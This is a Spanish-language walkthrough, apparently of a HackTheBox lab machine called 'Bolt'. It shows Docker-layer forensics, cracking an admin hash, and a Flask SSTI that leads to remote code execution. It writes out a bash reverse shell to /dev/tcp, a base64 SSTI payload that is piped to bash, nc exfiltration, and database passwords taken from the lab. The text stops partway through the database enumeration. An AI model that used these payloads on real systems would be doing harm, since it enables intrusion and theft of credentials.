Bolt
23 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.114
- Fecha: 25 / 09 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.114 -p 22,80,443
Nmap scan report for 10.10.11.114
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
| 256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_ 256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Starter Website - About
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after: 2022-02-24T19:11:23
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 16.23 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 443 (HTTPS).
Por otro lado, se ve que el servidor está utilizando virtual hosts (listado en el certificado SSL), por lo que podemos poner los dominios bolt.htb
y passbolt.bolt.htb
en el archivo /etc/hosts
.
Enumeración
Si entramos en http://bolt.htb
, veremos una página web como la siguiente:
Tenemos además la siguiente página de inicio de sesión:
Pero no tenemos ningunas credenciales potenciales. Aunque hay una página de registro, al enviar el formulario, el servidor devuelve un error 500 Internal Server Error
, con lo cual la funcionalidad debe de estar deshabilitada.
Por la respuesta, se puede deducir que el servidor está utilizando Flask:
$ curl bolt.htb/register -vd 'username=asdf&email=asdf%40bolt.htb&password=asdf'
* Trying 10.10.11.114:80...
* Connected to bolt.htb (10.10.11.114) port 80 (#0)
> POST /register HTTP/1.1
> Host: bolt.htb
> User-Agent: curl/7.79.1
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 49
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 INTERNAL SERVER ERROR
< Server: nginx/1.18.0 (Ubuntu)
< Date:
< Content-Type: text/html; charset=utf-8
< Content-Length: 290
< Connection: keep-alive
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
* Connection #0 to host bolt.htb left intact
Esto es porque Flask pone en mayúsculas el estado de respuesta HTTP (en este caso HTTP/1.1 500 INTERNAL SERVER ERROR
).
El segundo subdominio que tenemos es passbolt.bolt.htb
, pero no podemos hacer nada aquí:
Inspeccionando la imagen de Docker
Existe una imagen de Docker que podemos descargar de bolt.htb
en formato TAR (image.tar
):
Podemos importar la imagen a Docker de la siguiente manera:
$ docker image load -i image.tar
3fc64803ca2d: Loading layer [==================================================>] 4.463MB/4.463MB
73f2f98bc222: Loading layer [==================================================>] 7.68kB/7.68kB
8f2df5d06a26: Loading layer [==================================================>] 62.86MB/62.86MB
a1e4f9dc4110: Loading layer [==================================================>] 57.57MB/57.57MB
f0c4120bc314: Loading layer [==================================================>] 29.79MB/29.79MB
14ec2ed1c30d: Loading layer [==================================================>] 6.984MB/6.984MB
68c03965721f: Loading layer [==================================================>] 3.072kB/3.072kB
fec67b58fd48: Loading layer [==================================================>] 19.97kB/19.97kB
7fa1531c7420: Loading layer [==================================================>] 7.168kB/7.168kB
e45bbea785e3: Loading layer [==================================================>] 15.36kB/15.36kB
ac16908b339d: Loading layer [==================================================>] 8.192kB/8.192kB
Loaded image: flask-dashboard-adminlte_appseed-app:latest
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
flask-dashboard-adminlte_appseed-app latest 859e74798e6c 6 months ago 154MB
Ahora, podemos ejecutar la imagen en un contenedor de Docker:
$ docker run --rm -p 5005:5005 -it flask-dashboard-adminlte_appseed-app
[2021-10-13 08:44:27 +0000] [1] [DEBUG] Current configuration:
config: gunicorn-cfg.py
bind: ['0.0.0.0:5005']
...
[2021-10-13 08:44:27 +0000] [1] [INFO] Starting gunicorn 20.0.4
[2021-10-13 08:44:27 +0000] [1] [DEBUG] Arbiter booted
[2021-10-13 08:44:27 +0000] [1] [INFO] Listening at: http://0.0.0.0:5005 (1)
[2021-10-13 08:44:27 +0000] [1] [INFO] Using worker: sync
[2021-10-13 08:44:27 +0000] [15] [INFO] Booting worker with pid: 15
[2021-10-13 08:44:27 +0000] [1] [DEBUG] 1 workers
[2021-10-13 08:44:29,656] INFO in run: DEBUG = True
[2021-10-13 08:44:29,656] INFO in run: Environment = Debug
[2021-10-13 08:44:29,657] INFO in run: DBMS = sqlite:////db.sqlite3
Se puede ver que la imagen está ejecutando Flask en el puerto 5005 del contenedor (se ve después de correrlo la primera vez, luego se añade el parámetro -p 5005:5005
al comando docker run
).
El contenedor sirve una página web que redirige a un formulario de inicio de sesión:
Esta vez, somos capaces de registrar un nuevo perfil y acceder a AdminLTE 3:
No hay nada interesante en este dashboard. Ahora que el contenedor de Docker está corriendo, podemos ejecutar sh
, para ver si hay archivos interesantes:
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ffd733413c3e flask-dashboard-adminlte_appseed-app "gunicorn --config g…" 2 minutes ago Up 2 minutes 0.0.0.0:5005->5005/tcp friendly_mcnulty
$ docker exec -it ffd733413c3e sh
/ # ls -la
total 108
drwxr-xr-x 1 root root 4096 Oct 13 08:44 .
drwxr-xr-x 1 root root 4096 Oct 13 08:44 ..
-rwxr-xr-x 1 root root 0 Oct 13 08:44 .dockerenv
-rw-r--r-- 1 root root 142 Mar 5 2021 .env
drwxr-xr-x 2 root root 4096 Mar 5 2021 __pycache__
drwxr-xr-x 1 root root 4096 Mar 5 2021 app
drwxr-xr-x 2 root root 4096 Mar 6 2019 bin
-rw-r--r-- 1 root root 1448 Mar 5 2021 config.py
-rw-r--r-- 1 root root 16384 Oct 13 08:55 db.sqlite3
drwxr-xr-x 5 root root 360 Oct 13 08:44 dev
drwxr-xr-x 1 root root 4096 Oct 13 08:44 etc
-rw-r--r-- 1 root root 198 Mar 5 2021 gunicorn-cfg.py
drwxr-xr-x 2 root root 4096 Mar 6 2019 home
drwxr-xr-x 1 root root 4096 Mar 6 2019 lib
drwxr-xr-x 5 root root 4096 Mar 6 2019 media
drwxr-xr-x 2 root root 4096 Mar 6 2019 mnt
dr-xr-xr-x 187 root root 0 Oct 13 08:44 proc
-rw-r--r-- 1 root root 116 Mar 5 2021 requirements.txt
drwx------ 1 root root 4096 Mar 5 2021 root
drwxr-xr-x 2 root root 4096 Mar 6 2019 run
-rw-r--r-- 1 root root 955 Mar 5 2021 run.py
drwxr-xr-x 2 root root 4096 Mar 6 2019 sbin
drwxr-xr-x 2 root root 4096 Mar 6 2019 srv
dr-xr-xr-x 13 root root 0 Oct 13 08:44 sys
drwxrwxrwt 1 root root 4096 Oct 13 08:44 tmp
drwxr-xr-x 1 root root 4096 Mar 5 2021 usr
drwxr-xr-x 1 root root 4096 Mar 6 2019 var
/ # ls -la app
total 24
drwxr-xr-x 1 root root 4096 Mar 5 2021 .
drwxr-xr-x 1 root root 4096 Oct 13 08:55 ..
-rw-r--r-- 1 root root 1058 Mar 5 2021 __init__.py
drwxr-xr-x 1 root root 4096 Mar 5 2021 __pycache__
drwxr-xr-x 1 root root 4096 Mar 5 2021 base
drwxr-xr-x 1 root root 4096 Mar 5 2021 home
Podemos encontrar una base de datos SQLite3 y el código fuente de la aplicación de Flask. Podemos transferir estos ficheros a nuestra máquina para analizarlos. Para ello, podemos comprimirlos en un archivo ZIP y después utilizar nc
:
/ # apk update
fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/main/x86_64/APKINDEX.tar.gz
fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/community/x86_64/APKINDEX.tar.gz
v3.7.3-184-gffd32bfd09 [http://dl-cdn.alpinelinux.org/alpine/v3.7/main]
v3.7.3-194-gcddd1b2302 [http://dl-cdn.alpinelinux.org/alpine/v3.7/community]
OK: 9054 distinct packages available
/ # apk add zip
(1/1) Installing zip (3.0-r4)
Executing busybox-1.27.2-r11.trigger
OK: 72 MiB in 27 packages
/ # zip -r src.zip .env db.sqlite3 *.py requirements.txt app
/ # nc 192.168.1.37 4444 < src.zip
Desde nuestra máquina, cogemos el archivo ZIP y lo descomprimimos:
$ nc -nlvp 4444 > src.zip
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.37.
Ncat: Connection from 192.168.1.37:52425.
$ unzip src.zip
Ahora somos capaces de ver el contenido de la base de datos SQLite3, pero solamente contiene el usuario que acabamos de crear:
$ sqlite3 db.sqlite3
SQLite version 3.32.3
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> select * from User;
1|asdf|asdf@bolt.htb|$1$wJuqE5Tc$rZXG8CmAsT8YAIfHAJdkr.||
sqlite> .quit
Leyendo los demás archivos, vemos uno llamado .env
que contiene una clave secreta:
DEBUG=True
SECRET_KEY=S3cr3t_K#Key
DB_ENGINE=postgresql
DB_NAME=appseed-flask
DB_HOST=localhost
DB_PORT=5432
DB_USERNAME=appseed
DB_PASS=pass
Y también config.py
, que contiene una clave secreta y una dirección de correo (support@bolt.htb
):
# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""
import os
from decouple import config
class Config(object):
basedir = os.path.abspath(os.path.dirname(__file__))
# Set up the App SECRET_KEY
SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')
# This will create a file in <app> FOLDER
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')
SQLALCHEMY_TRACK_MODIFICATIONS = False
MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
DEFAULT_MAIL_SENDER = 'support@bolt.htb'
class ProductionConfig(Config):
DEBUG = False
# Security
SESSION_COOKIE_HTTPONLY = True
REMEMBER_COOKIE_HTTPONLY = True
REMEMBER_COOKIE_DURATION = 3600
# PostgreSQL database
SQLALCHEMY_DATABASE_URI = '{}://{}:{}@{}:{}/{}'.format(
config( 'DB_ENGINE' , default='postgresql' ),
config( 'DB_USERNAME' , default='appseed' ),
config( 'DB_PASS' , default='pass' ),
config( 'DB_HOST' , default='localhost' ),
config( 'DB_PORT' , default=5432 ),
config( 'DB_NAME' , default='appseed-flask' )
)
class DebugConfig(Config):
DEBUG = True
# Load all possible configurations
config_dict = {
'Production': ProductionConfig,
'Debug' : DebugConfig
}
Podemos probar estas claves secretas como contraseñas en bolt.htb
y passbolt.bolt.htb
, pero ninguna combinación funciona.
Hasta este punto, no hemos conseguido nada aún. Necesitamos analizar la imagen de Docker un poco más.
Si descomprimimos el archivo TAR, tenemos lo siguiente:
$ 7z x image.tar
$ tree
.
├── 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── 3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── 3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── 859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json
├── 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
│ ├── VERSION
│ ├── json
│ └── layer.tar
├── image.tar
├── manifest.json
└── repositories
11 directories, 37 files
Por otro lado, podemos ver el historial de la imagen de Docker con el siguiente comando:
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
flask-dashboard-adminlte_appseed-app latest 859e74798e6c 6 months ago 154MB
$ docker history 859e74798e6c
IMAGE CREATED CREATED BY SIZE COMMENT
859e74798e6c 7 months ago gunicorn --config gunicorn-cfg.py run:app 3.93kB
<missing> 7 months ago sh 8.49kB
<missing> 7 months ago gunicorn --config gunicorn-cfg.py run:app 6B
<missing> 7 months ago gunicorn --config gunicorn-cfg.py run:app 16.4kB
<missing> 7 months ago gunicorn --config gunicorn-cfg.py run:app 6B
<missing> 7 months ago gunicorn --config gunicorn-cfg.py run:app 6.95MB
<missing> 7 months ago /bin/sh -c #(nop) CMD ["gunicorn" "--config… 0B
<missing> 7 months ago /bin/sh -c #(nop) EXPOSE 5005 0B
<missing> 7 months ago /bin/sh -c pip3 install -r requirements.txt 28.3MB
<missing> 7 months ago /bin/sh -c apk --update add python3 py3-pip 53MB
<missing> 7 months ago /bin/sh -c #(nop) COPY dir:f385c9405a9b189a6… 61.2MB
<missing> 7 months ago /bin/sh -c #(nop) COPY multi:e0a96f9a5ad90dc… 2.86kB
<missing> 7 months ago /bin/sh -c #(nop) ENV FLASK_APP=run.py 0B
<missing> 2 years ago /bin/sh -c #(nop) CMD ["/bin/sh"] 0B
<missing> 2 years ago /bin/sh -c #(nop) ADD file:aa17928040e31624c… 4.21MB
Todos los directorios mostrados con tree
contienen capas de la imagen de Docker, que contienen los cambios diferenciales en los archivos al ejecutar cada línea del Dockerfile (más imformación aquí).
Deberíamos listar los contenidos de todos los layer.tar
y ver si existe algo interesante. Primero, vamos a ver si hay algún archivo db.sqlite3
en algún layer.tar
:
$ for dir in `find . | grep layer`; do (7z l $dir | grep -q db\.sqlite3) && echo $dir; done
./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
$ 7z l 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-03-05 19:37:51 D.... 0 0 app
2021-03-05 19:45:48 D.... 0 0 app/base
2021-03-05 19:45:45 ..... 0 0 app/base/.wh.forms.py
2021-03-05 19:45:48 ..... 0 0 app/base/.wh.routes.py
2021-03-05 15:11:29 D.... 0 0 app/base/templates
2021-03-05 19:45:55 D.... 0 0 app/base/templates/accounts
2021-03-05 19:45:55 ..... 0 0 app/base/templates/accounts/.wh.register.html
2021-03-05 19:45:09 ..... 0 0 .wh.db.sqlite3
2021-03-05 19:39:12 D.... 0 0 root
2021-03-05 19:46:46 ..... 6 512 root/.ash_history
2021-03-05 19:44:48 D.... 0 0 tmp
------------------- ----- ------------ ------------ ------------------------
2021-03-05 19:46:46 6 512 5 files, 6 folders
$ 7z l a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-03-05 19:44:04 ..... 16384 16384 db.sqlite3
2021-03-05 19:39:12 D.... 0 0 root
2021-03-05 19:44:29 ..... 6 512 root/.ash_history
2021-03-05 19:41:00 D.... 0 0 tmp
------------------- ----- ------------ ------------ ------------------------
2021-03-05 19:44:29 16390 16896 2 files, 2 folders
Si descomprimimos este último layer.tar
y vemos los contenidos de la base de datos SQLite3, obtendremos el hash de la contraseña del usuario admin
:
$ cd a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
$ 7z x layer.tar
$ sqlite3 db.sqlite3
SQLite version 3.32.3
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
sqlite> .quit
Acceso a la máquina
Este hash se puede crackear con john
:
$ echo '$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.' > hash
$ john --wordlist=$WORDLISTS/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt (?)
1g 0:00:00:11 DONE 0.08928g/s 15422p/s 15422c/s 15422C/s deadbolt..deadbeat
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Accediendo a bolt.htb
como admin
Y obtenemos unas credenciales potenciales (admin:deadbolt
). Si probamos a iniciar sesión en bolt.htb
, entraremos como admin
:
Esta página web tiene la misma apariencia que la que se encuentra en la imagen de Docker. Esta vez, hay información sensible en una conversación por “Direct Chat”:
De esta conversación, obtenemos nombres de usuario (Alexander Pierce, Sarah Bullock y Eddie). Sarah dice que la demo es solo con invitación. Existe algún problema con el correo y todo parece estar relacionado con la imagen de Docker.
Como se está hablando sobre demo y e-mail, a lo mejor existen más subdominios. Para enumerar, podemos utilizar gobuster
:
$ gobuster vhost -w $WORDLISTS/dirb/small.txt -u bolt.htb -q
Found: demo.bolt.htb (Status: 302) [Size: 219]
Found: mail.bolt.htb (Status: 200) [Size: 4943]
Hemos conseguido dos nuevos subdominios para explorar y añadir a /etc/hosts
.
El siguiente es mail.bolt.htb
, que redirige a un formulario de inicio de sesión. Podemos intentar acceder con support@bolt.htb
o admin@bolt.htb
usando alguna de las contraseñas y claves secretas encontradas anteriormente, pero sin éxito:
Y el otro nuevo subdominio es demo.bolt.htb
, que es realmente similar a bolt.htb
, o al menos los formularios de inicio de sesión y registro. Sin embargo, esta vez necesitamos un código de invitación para registrarnos (como decía Sarah). Recordemos que el registro en bolt.htb
no funcionaba:
Profundizando aún más en la imagen de Docker
Esta página web de demo parece estar programada como la que hay en la imagen de Docker. Después de analizar el código fuente transferido anteriormente desde el contenedor en un archivo ZIP, no se encontró nada útil.
En este punto, deberíamos imaginar que hay algo en las capas de la imagen de Docker, que posteriormente fue parcheado por razones de seguridad. Para enumerar, podemos listar las capas que contienen código en Python y descomprimir dichas capas:
$ for dir in `find . | grep layer`; do (7z l $dir | grep -q \.py) && echo $dir; done
./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar
./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/layer.tar
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar
./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar
./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/layer.tar
./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/layer.tar
./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/layer.tar
$ for dir in `find . | grep layer | awk -F / '{ print $2 }'`; do (7z l $dir/layer.tar | grep -q \.py) && 7z x -o"$dir" $dir/layer.tar; done
Ahora que hemos descomprimido las capas con código de Python, podemos buscar por “invite”:
$ grep -nri invite . | grep -v Binary
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/forms.py:20: invite_code = TextField('Invite Code', id='invite_code' , validators=[DataRequired()])
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/templates/accounts/register.html:72: {{ form.invite_code(placeholder="Invite Code", class="form-control") }}
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py:63: code = request.form['invite_code']
Dentro de 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py
encontraremos un código de invitación hard-coded (XNSS-HSJW-3NGU-8XTJ
), en la función register()
:
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form:
username = request.form['username']
email = request.form['email']
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
# Check usename exists
user = User.query.filter_by(username=username).first()
if user:
return render_template('accounts/register.html',
msg='Username already registered',
success=False,
form=create_account_form)
# Check email exists
user = User.query.filter_by(email=email).first()
if user:
return render_template('accounts/register.html',
msg='Email already registered',
success=False,
form=create_account_form)
# else we can create the user
user = User(**request.form)
db.session.add(user)
db.session.commit()
return render_template('accounts/register.html',
msg='User created please <a href="/login">login</a>',
success=True,
form=create_account_form)
else:
return render_template('accounts/register.html', form=create_account_form)
Encontrando un SSTI
Ahora podemos intentar registrarnos en demo.bolt.htb
usando este código de invitación. Y funciona, estamos dentro de otro AdminLTE 3:
Además, tenemos otra cuenta en mail.bolt.htb
, que se crea automáticamente. Podemos acceder usando las mismas credenciales:
Sin embargo, no podemos enviar correos porque hay un error en el servicio SMTP.
Llegamos a otro punto muerto, donde parece que no hay nada más por hacer.
Vemos que en AdminLTE 3 podemos cambiar nuestro nombre de usuario, experiencia y habilidades al pinchar en “Settings”. Como sabemos que la aplicación está utilizando Flask, podemos intentar realizar un Server-Side Template Injection (SSTI):
Después de aplicar los cambios, recibimos un correo de confirmación en mail.bolt.htb
:
Si pinchamos en el enlace, recibiremos otro correo indicando los cambios que hemos realizado. Esta funcionalidad es vulnerable a SSTI, ya que se muestra 49
en vez de {{7*7}}
, como habíamos introducido:
SSTI deriva en ejecución remota de comandos (RCE), por lo que podemos obtener una reverse shell en la máquina con algun payload encontrado en PayloadsAllTheThings.
Podemos realizar los siguientes pasos:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
El contenido para poner en AdminLTE 3 (campo nombre) es:
{{cycler.__init__.__globals__.os.popen('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash').read()}}
Y después, al confirmar los cambios en el correo, se obtiene una conexión en nc
como usuario www-data
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.114.
Ncat: Connection from 10.10.11.114:42396.
bash: cannot set terminal process group (1009): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@bolt:~/demo$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@bolt:~/demo$ export TERM=xterm
www-data@bolt:~/demo$ export SHELL=bash
www-data@bolt:~/demo$ stty rows 50 columns 158
Enumeración del sistema
Existen dos usuarios: clark
y eddie
, y no podemos listar el contenido de sus directorios personales.
www-data@bolt:~/demo$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Mar 3 2021 .
drwxr-xr-x 20 root root 4096 Aug 4 13:07 ..
drwxr-x--- 15 clark clark 4096 Feb 25 2021 clark
drwxr-x--- 16 eddie eddie 4096 Oct 13 07:01 eddie
www-data@bolt:~/demo$ ls -la /home/clark
ls: cannot open directory '/home/clark': Permission denied
www-data@bolt:~/demo$ ls -la /home/eddie
ls: cannot open directory '/home/eddie': Permission denied
Podemos conseguir unas credenciales para acceder a una base de datos de MySQL en el archivo config.py
:
www-data@bolt:~/demo$ ls -la
total 36
drwxr-xr-x 5 www-data www-data 4096 Aug 4 13:06 .
drwxr-xr-x 6 root root 4096 Aug 4 13:06 ..
-rw-r--r-- 1 www-data www-data 6399 Mar 6 2021 app.py
-rw-r--r-- 1 www-data www-data 420 Mar 4 2021 config.py
drwxr-xr-x 2 www-data www-data 4096 Mar 6 2021 __pycache__
drwxr-xr-x 3 www-data www-data 4096 Mar 4 2021 static
drwxrwxr-x 6 www-data www-data 4096 Mar 5 2021 templates
-rw-r--r-- 1 www-data www-data 62 Mar 4 2021 wsgi.py
www-data@bolt:~/demo$ cat config.py
"""Flask Configuration"""
#SQLALCHEMY_DATABASE_URI = 'sqlite:///database.db'
SQLALCHEMY_DATABASE_URI = 'mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'kreepandcybergeek'
MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
#MAIL_DEBUG = app.debug
MAIL_USERNAME = None
MAIL_PASSWORD = None
DEFAULT_MAIL_SENDER = 'support@bolt.htb'
Ahora podemos acceder a la base de datos boltmail
con credenciales bolt_dba:dXUUHSW9vBpH5qRB
:
www-data@bolt:~/demo$ mysql --user=bolt_dba --password=dXUUHSW9vBpH5qRB --database=boltmail
mysql> show tables;
+--------------------+
| Tables_in_boltmail |
+--------------------+
| user |
+--------------------+
1 row in set (0.00 sec)
mysql> describe user;
+-----------------+---------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+---------------+------+-----+---------+----------------+
| id | int | NO | PRI | NULL | auto_increment |
| username | varchar(255) | YES | | NULL | |
| password | varchar(255) | YES | | NULL | |
| email | varchar(255) | YES | | NULL | |
| host_header | varchar(255) | YES | | NULL | |
| ip_address | varchar(255) | YES | | NULL | |
| email_confirmed | tinyint(1) | YES | | NULL | |
| profile_confirm | tinyint(1) | YES | | NULL | |
| profile_update | varchar(4096) | YES | | NULL | |
+-----------------+---------------+------+-----+---------+----------------+
9 rows in set (0.00 sec)
mysql> select username, password from user;
+-------------+------------------------------------+
| username | password |
+-------------+------------------------------------+
| admin | $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q. |
| asdf | $1$KsE5LxFN$Xo2Xo.DRX82fo8D2.fSo/1 |
+-------------+------------------------------------+
2 rows in set (0.00 sec)
mysql> exit
A pesar de haber obtenido el hash de la contraseña de admin
, es la misma que se encontró antes.
Pensando en el subdominio passbolt.bolt.htb
, podemos explorar por los archivos de configuración de dicho servicio. Podemos encontrar un archivo PHP con credenciales de acceso a la base de datos passboltdb
de MySQL (passbolt:rT2;jW7<eY8!dX8}pQ8%
):
www-data@bolt:~/demo$ cat /etc/passbolt/passbolt.php
<?php
/**
* ...
*/
return [
'App' => [
// A base URL to use for absolute links.
// The url where the passbolt instance will be reachable to your end users.
// This information is need to render images in emails for example
'fullBaseUrl' => 'https://passbolt.bolt.htb',
],
// Database configuration.
'Datasources' => [
'default' => [
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
],
],
// Email configuration.
'EmailTransport' => [
'default' => [
'host' => 'localhost',
'port' => 587,
'username' => null,
'password' => null,
// Is this a secure connection? true if yes, null if no.
'tls' => true,
//'timeout' => 30,
//'client' => null,
//'url' => null,
],
],
'Email' => [
'default' => [
// Defines the default name and email of the sender of the emails.
'from' => ['localhost@bolt.htb' => 'localhost'],
//'charset' => 'utf-8',
//'headerCharset' => 'utf-8',
],
],
'passbolt' => [
// GPG Configuration.
// The keyring must to be owned and accessible by the webserver user.
// Example: www-data user on Debian
'gpg' => [
// Main server key.
'serverKey' => [
// Server private key fingerprint.
'fingerprint' => '59860A269E803FA094416753AB8E2EFB56A16C84',
'public' => CONFIG . DS . 'gpg' . DS . 'serverkey.asc',
'private' => CONFIG . DS . 'gpg' . DS . 'serverkey_private.asc',
],
],
'registration' => [
'public' => false,
],
'ssl' => [
'force' => true,
]
],
];
Ahora, nos podemos conectar a la base de datos con las credenciales encontradas:
www-data@bolt:~/demo$ mysql --user=passbolt --password='rT2;jW7<eY8!dX8}pQ8%' --database=passboltdb
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb |
+-----------------------+
| account_settings |
| action_logs |
| actions |
| authentication_tokens |
| avatars |
| comments |
| email_queue |
| entities_history |
| favorites |
| gpgkeys |
| groups |
| groups_users |
| organization_settings |
| permissions |
| permissions_history |
| phinxlog |
| profiles |
| resource_types |
| resources |
| roles |
| secret_accesses |
| secrets |
| secrets_history |
| user_agents |
| users |
+-----------------------+
25 rows in set (0.01 sec)
mysql> describe secrets;
+-------------+------------+------+-----+---------+-------+
